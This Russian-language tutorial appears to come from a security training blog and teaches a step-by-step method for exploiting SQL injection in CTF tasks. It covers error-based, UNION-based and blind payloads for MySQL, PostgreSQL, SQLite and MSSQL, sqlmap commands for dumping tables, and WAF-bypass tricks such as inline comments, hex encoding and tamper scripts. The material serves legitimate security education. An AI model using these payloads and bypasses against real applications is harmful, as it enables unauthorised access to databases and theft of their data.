
На прошлой неделе разбирал с командой CTF-таск средней сложности: форма поиска, MySQL за ней, никаких ошибок в ответе, WAF режет слово UNION. Новичок потратил три часа на перебор пейлоадов из гугла — безрезультатно. Я закрыл задачу за 20 минут, и дело не в таланте. Определил СУБД по реакции на %23, классифицировал тип инъекции как boolean-based blind, обошёл фильтр через inline-комментарии, передал в sqlmap с нужным tamper-скриптом. Алгоритм, а не гадание. Здесь — тот самый алгоритм для системной эксплуатации SQL-инъекций в CTF.
SQL-инъекция в классификации MITRE ATT&CK — техника Exploit Public-Facing Application (T1190, Initial Access). Атакующий находит точку ввода в веб-приложении и через неё добирается до базы данных — тактика Collection, техника Databases (T1213.006). В продвинутых сценариях инъекция ведёт к чтению файлов с сервера (Data from Local System, T1005) или закреплению через SQL Stored Procedures (T1505.001, Persistence). По классификации OWASP — A03:2021 Injection: пользовательский ввод попадает в SQL-запрос без валидации и санитизации. Подробнее — в нашем обзоре создание ctf заданий.
Зачем атакующему всё это? Монетизация. Утечка пользовательских данных (email, пароли, платёжка), захват сервера через чтение системных файлов, выполнение команд ОС. Утечка Exploit.In (2016 год, дата публикации в HIBP: 2016-10-13) — 593 427 119 email-адресов с паролями, по данным Have I Been Pwned. Согласно Verizon DBIR 2025, доля веб-атак среди всех подтверждённых нарушений — 26%.
В CTF цепочка короче, но логика та же: найти точку входа, определить СУБД, выбрать технику, вытащить флаг. Каждый шаг зависит от результата предыдущего — поэтому SQL-инъекции в CTF требуют методологии, а не рандомного копипаста пейлоадов.
Алгоритм из трёх шагов, который я применяю на каждой веб-задаче:
Шаг 1 — реакция на спецсимвол. Вставляем одинарную кавычку ' в параметр. Три варианта. Ошибка синтаксиса SQL (текст вроде You have an error in your SQL syntax) — вероятен error-based. Контент страницы изменился, но без ошибки — вероятен boolean-based blind SQLi. Никакой видимой реакции — пробуем ' AND SLEEP(5)-- для MySQL или '; SELECT pg_sleep(5)-- для PostgreSQL: задержка ответа на 5 секунд подтвердит time-based blind SQL инъекцию.
Шаг 2 — определение СУБД. По данным SQL Injection Cheat Sheet от Invicti, разница в синтаксисе СУБД — главная причина, почему универсальные пейлоады не работают. Быстрые проверки: %23 работает как комментарий (URL-encoded символ #) — MySQL/MariaDB. ' UNION SELECT sqlite_version()-- возвращает результат — SQLite. ' AND @@version>0-- проходит без ошибки — вероятно MySQL или MSSQL (проверка ненадёжна: в MySQL 5.7+/8.0 с default strict mode сравнение строки с числом может выбросить ошибку приведения типа — результат стоит проверять эмпирически; для MySQL предпочтительнее %23 или version()). Конкатенация через || работает — PostgreSQL или SQLite.
Шаг 3 — выбор техники. Ошибки видны в ответе — error-based SQL инъекция (самая быстрая). Данные из запроса отображаются на странице — UNION-based SQL инъекция. Ни ошибок, ни данных — blind (boolean или time). Правильная классификация на этом шаге экономит 30-40 минут на задаче.
Сводная таблица ключевых различий СУБД для web CTF заданий SQL injection:
| Параметр | MySQL | PostgreSQL | SQLite | MSSQL |
|---|---|---|---|---|
| Комментарий строки | -- или # |
-- |
-- |
-- |
| Конкатенация строк | CONCAT() |
двойная вертикальная черта | двойная вертикальная черта | + |
| Текущая версия | @@version |
version() |
sqlite_version() |
@@version |
| Метаданные таблиц | information_schema |
information_schema |
sqlite_master |
information_schema |
| Задержка | SLEEP(N) |
pg_sleep(N) |
Нет нативной | WAITFOR DELAY |
| Чтение файлов | LOAD_FILE() |
pg_read_file() |
Нет | OPENROWSET |
Error-based SQL-инъекция работает, когда приложение отдаёт тексты ошибок базы данных в HTTP-ответе. На CTF это самый быстрый тип — от обнаружения до флага можно дойти за 3-5 запросов.
Две рабочие функции — extractvalue() и updatexml(). Обе ожидают корректное XPath-выражение и выбрасывают ошибку, если получают мусор. Пейлоад ' AND extractvalue(1, concat(0x7e, (SELECT version())))-- заставляет MySQL вернуть ошибку вида XPATH syntax error: '~5.7.33' (конкретное значение зависит от версии сервера; техника работает в MySQL 5.x и 8.x) — версия СУБД прямо в тексте ошибки. Символ 0x7e (тильда) нужен, чтобы строка гарантированно не была валидным XPath.
Цепочка эксплуатации SQL-инъекций вручную: сначала подзапрос SELECT table_name FROM information_schema.tables LIMIT 1 — получаем имя первой таблицы в ошибке. Затем SELECT column_name FROM information_schema.columns WHERE table_name='flag' LIMIT 1 — имена столбцов. Наконец, SELECT flag FROM flag — забираем флаг.
А вот тут подвох, на котором регулярно горят новички. extractvalue() и updatexml() возвращают не более ~32 символов (характерно для MySQL 5.x/8.0; точное значение зависит от версии — проверяйте эмпирически), включая служебные символы вроде 0x7e, так что полезных данных помещается ещё меньше. Флаг длиннее 30 символов? Режем через SUBSTRING(): конструкция с substring((SELECT flag FROM flag), 33, 32) внутри extractvalue вытаскивает вторую порцию. Типичная ситуация на CTF — флаг обрезается посередине, выглядит невалидным, и человек начинает искать другую уязвимость. А надо было просто дочитать.
Альтернатива — техника через FLOOR(RAND(0)*2) и GROUP BY, описанная в руководстве pentest-tools.com. Ошибка Duplicate entry '10.1.36-MariaDB#0' содержит данные. Тонкость: RAND(0) с фиксированным seed даёт детерминированную последовательность — без seed=0 техника нестабильна и может сработать через раз.
Стандартный приём — через CAST(). Как описывает PortSwigger в исследовании blind SQL injection, попытка привести строку к integer заставляет СУБД вернуть содержимое строки в тексте ошибки. Пейлоад ' AND 1=CAST((SELECT table_name FROM information_schema.tables LIMIT 1) AS int)-- вернёт ERROR: invalid input syntax for type integer: "users". Этот же приём выручает, когда ограничение на длину ввода не позволяет использовать conditional responses.
Техника мертва, если приложение перехватывает исключения и показывает generic-ответ (HTTP 500 без деталей). Нет ошибок — переключаемся на UNION или blind.
UNION-based — самый распространённый тип SQL-инъекций в CTF. Оператор UNION присоединяет к оригинальному запросу произвольный SELECT, результат отображается на странице. По данным Acunetix, UNION-based SQLi позволяет объединить результаты нескольких SELECT-запросов в единый HTTP-ответ — при условии, что оригинальный запрос выводит данные.
Без точного совпадения числа столбцов UNION выбросит ошибку. Два метода.
ORDER BY (бинарный поиск). Последовательно увеличиваем номер: ' ORDER BY 1-- — ОК, ' ORDER BY 5-- — ошибка, ' ORDER BY 3-- — ОК, ' ORDER BY 4-- — ошибка. Три столбца. Находим за log₂(N) запросов — при 10 столбцах всего 4 запроса.
UNION SELECT NULL. Добавляем NULL-значения: ' UNION SELECT NULL-- — ошибка, ' UNION SELECT NULL, NULL-- — ошибка, ' UNION SELECT NULL, NULL, NULL-- — результат. Медленнее ORDER BY, но надёжнее в контекстах, где ORDER BY синтаксически запрещён (внутри подзапроса или CTE).
После определения количества столбцов нужно найти, какие из них выводятся на страницу. Запрос -1' UNION SELECT 'aaa', 'bbb', 'ccc'-- покажет, где появляются строки — именно в эти позиции подставляем подзапросы. Значение -1 гарантирует, что оригинальный запрос вернёт пустой результат и не замусорит вывод.
Полная цепочка для MySQL (три столбца, второй отображается):
-- Шаг 1: таблицы текущей БД
-1' UNION SELECT 1, GROUP_CONCAT(table_name), 3
FROM information_schema.tables WHERE table_schema=database()--
-- Шаг 2: столбцы целевой таблицы
-1' UNION SELECT 1, GROUP_CONCAT(column_name), 3
FROM information_schema.columns WHERE table_name='flag'--
-- Шаг 3: флаг
-1' UNION SELECT 1, flag, 3 FROM flag--
Для SQLite — sqlite_master вместо information_schema: запрос -1' UNION SELECT 1, sql, 3 FROM sqlite_master WHERE type='table'-- вернёт CREATE TABLE со структурой. Удобнее, чем MySQL: за один запрос получаем и таблицы, и столбцы.
В PostgreSQL строже типизация — может потребоваться CAST(1 AS text) вместо числовых заглушек. WAF-фильтры на UNION обходятся через смену регистра (uNiOn) или inline-комментарии (UN/**/ION) — подробнее в разделе про обход WAF.
Blind SQL-инъекция — самый нудный тип задач в CTF. Без шуток. Приложение не возвращает ни результат запроса, ни ошибку — только косвенные признаки. Как отмечает PortSwigger, многие реальные уязвимости именно слепые, и техники UNION к ним неприменимы.
Первым делом находим, чем отличается ответ при TRUE от FALSE. Классический пример из PortSwigger Web Academy — cookie TrackingId: пейлоад xyz' AND '1'='1 — страница содержит «Welcome back» (TRUE); xyz' AND '1'='2 — текст отсутствует (FALSE). Индикатором может быть что угодно: длина ответа, HTTP-статус, наличие конкретного HTML-элемента. Я обычно начинаю с diff длины ответа в байтах — самый надёжный маркер.
Извлекаем данные посимвольно. Пейлоад xyz' AND SUBSTRING((SELECT password FROM users WHERE username='Administrator'),1,1)>'m — если TRUE, символ в диапазоне n-z. Следующий запрос с >'t — FALSE, значит символ между n и t. Каждый символ определяется за 6-8 запросов при бинарном поиске.
Вручную это терпимо для 8-символьного пароля (около 50 запросов), но для длинного флага — неразумная трата времени. На CTF делаю 2-3 запроса руками для подтверждения инъекции и понимания формата ответа, дальше передаю в автоматизацию.
Более мощная техника boolean-based blind SQLi — для случаев, когда контент страницы не меняется вообще, но приложение по-разному обрабатывает ошибки базы данных. Как описывает PortSwigger, пейлоад xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a вызывает деление на ноль при TRUE (HTTP 500), при FALSE — нормальный ответ.
Применяем к данным: подставляем в CASE WHEN условие вида Username='Administrator' AND SUBSTRING(Password,1,1)>'m' — и используем тот же бинарный поиск, но индикатор уже не контент, а HTTP-статус.
Time-based blind — крайний случай. Приложение возвращает одинаковый ответ независимо от запроса. Единственный канал утечки — время ответа сервера. Медленно, больно, но работает.
Для MySQL: ' IF(SUBSTRING((SELECT flag FROM flag),1,1)='s', SLEEP(5), null)--. Если первый символ флага равен 's' — сервер ответит через 5 секунд, иначе мгновенно. Для PostgreSQL: '; SELECT CASE WHEN (SUBSTRING(password,1,1)='a') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users--. Для MSSQL: '; IF (SUBSTRING((SELECT TOP 1 flag FROM flag),1,1)='s') WAITFOR DELAY '0:0:5'--.
По данным OWASP, альтернатива SLEEP() в MySQL — функция BENCHMARK(): BENCHMARK(5000000, ENCODE('MSG','by 5 seconds')) выполняет операцию 5 миллионов раз, создавая задержку, зависящую от CPU сервера. Число итераций нужно калибровать под конкретную цель — в отличие от детерминированного SLEEP(N). Полезно, когда SLEEP() заблокирован WAF-ом.
Ручной перебор time-based blind SQL инъекции непрактичен для любого объёма данных. На CTF разумная тактика: подтвердить инъекцию парой ручных запросов, зафиксировать точный синтаксис и точку инъекции, затем передать работу sqlmap.
Переход от ручной эксплуатации к автоматизации SQLi sqlmap — навык, без которого на CTF далеко не уедешь. Ручной POC подтверждает точку инъекции и определяет СУБД. Дальше sqlmap делает рутину быстрее и надёжнее.
Сохраняем HTTP-запрос из Burp Suite в файл (ПКМ → Copy to file). Если точка инъекции неочевидна — помечаем звёздочкой в файле. Как описывает Vaadata, sqlmap при пентесте запускают после ручной идентификации инъекции, чтобы не генерировать лишний трафик. На CTF это ещё важнее: rate-limiting может заблокировать IP после шквала автоматических запросов.
# Определить тип инъекции и СУБД
sqlmap -r req.txt --batch --level=3 --risk=2
# Получить список баз данных
sqlmap -r req.txt --dbs
# Таблицы целевой БД
sqlmap -r req.txt -D target_db --tables
# Дамп флага
sqlmap -r req.txt -D target_db -T flag --dump
Опция --batch автоматически отвечает на вопросы дефолтами — экономит время. --level=3 расширяет проверку на cookie, User-Agent, Referer. --risk=2 включает OR-based пейлоады — на проде опасны, на CTF допустимы. Для задач с JSON body или нестандартными cookie удобнее сохранять запрос через Burp и использовать -r, чем собирать URL руками с --cookie и --data.
Опция -p parameter указывает конкретный параметр — пропускает сканирование остальных и ускоряет процесс. --technique=U ограничивает sqlmap для CTF только UNION-based техникой (аналогично B для boolean, T для time-based) — сокращает время в разы, если тип инъекции уже известен из ручного POC. --string="Welcome" задаёт текстовый маркер TRUE-ответа для blind-сценариев. --prefix и --suffix задают обвязку пейлоада для нестандартных SQL-конструкций, когда инъекция сидит внутри вложенного запроса или функции.
sqlmap — не серебряная пуля. На CTF встречаются задачи с WebSocket-протоколом, кастомным форматом ответа (JSON с вложенной логикой), rate-limiting с капчей или WAF, который банит по сигнатурам sqlmap (User-Agent sqlmap/1.x). В таких случаях — пишем свой скрипт. Для boolean-based blind: отправляем запрос с условием SUBSTRING(...)>'X', парсим ответ на маркер, двигаемся бинарным поиском. Для time-based — замеряем время ответа. Порог задержки лучше определять динамически: сначала замеряем baseline без инъекции, потом ищем отклонение на 4+ секунды. На нестабильных CTF-серверах фиксированный порог часто даёт ложные срабатывания.
На продвинутых CTF-задачах сырые пейлоады не пройдут — стоит фильтрация ключевых слов или символов. Вот что работает.
Смена регистра. Фильтр блокирует SELECT — пробуем SeLeCt. Базы данных нечувствительны к регистру ключевых слов, а простые regex-фильтры проверяют точное совпадение. По данным Invicti SQL Injection Cheat Sheet, это один из базовых способов обхода фильтрации.
Inline-комментарии. UN/**/ION SE/**/LECT — парсер SQL игнорирует комментарии, regex-фильтр не видит целого слова. В MySQL специальный синтаксис /*!50000 UNION*/ выполняет конструкцию только на MySQL 5.0+ — одновременно обход фильтра и fingerprinting СУБД. Красивый трюк.
Hex-кодирование строк. Если фильтруются кавычки — передаём значения в hex: WHERE table_name=0x666C6167 вместо WHERE table_name='flag'. Работает в MySQL. Для PostgreSQL и MSSQL — аналог через CHR(): CHR(102)||CHR(108)||CHR(97)||CHR(103).
Замена пробелов. При блокировке пробелов — /**/, %09 (tab), %0a (newline) или скобки: UNION(SELECT(flag)FROM(flag)).
Double URL encoding. Если WAF декодирует URL однократно, а приложение дважды — %2527 после первого декодирования станет %27, после второго — одинарная кавычка.
Автоматизация обхода WAF SQL инъекции через sqlmap: sqlmap -r req.txt --tamper=space2comment,randomcase. Популярные tamper-скрипты: space2comment — пробелы в /**/, randomcase — случайный регистр, between — замена > на BETWEEN, charencode — URL-кодирование пейлоада, equaltolike — замена = на LIKE. Комбинация нескольких скриптов через запятую часто решает задачи, где один приём не проходит. Если стандартных скриптов не хватает — sqlmap поддерживает кастомные: Python-файл с функцией tamper(payload), модифицирующей каждый пейлоад перед отправкой.
Вижу одну и ту же картину у начинающих CTF-игроков: учат SQL-инъекции по чит-шитам, копируют пейлоады, запускают sqlmap на всё подряд. Когда стандартный пейлоад не срабатывает — зависают. Проблема в том, что sqlmap создаёт ложное чувство компетенции. Человек «решает» задачу, но не понимает, почему extractvalue возвращает только 32 символа, почему ORDER BY 4 падает, а ORDER BY 3 нет, почему boolean-based blind требует бинарного поиска, а не линейного перебора.
Blind SQLi на практике — это не про SQL. Это про умение программировать: написать скрипт, который измеряет время ответа или парсит разницу в контенте, отладить его на граничных случаях, обработать нестабильность сети. Кто не может написать цикл с условием и HTTP-запросом — застрянет на blind-задачах навсегда. Никакой чит-шит эту проблему не решит. Каждую задачу стоит сначала решать вручную, пока не поймёте механику, и только потом ускорять рутину через sqlmap. На WAPT эту цепочку проходят в течение двух модулей с лабами — от ручного построения пейлоада до автоматизации через sqlmap с кастомными tamper-скриптами.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...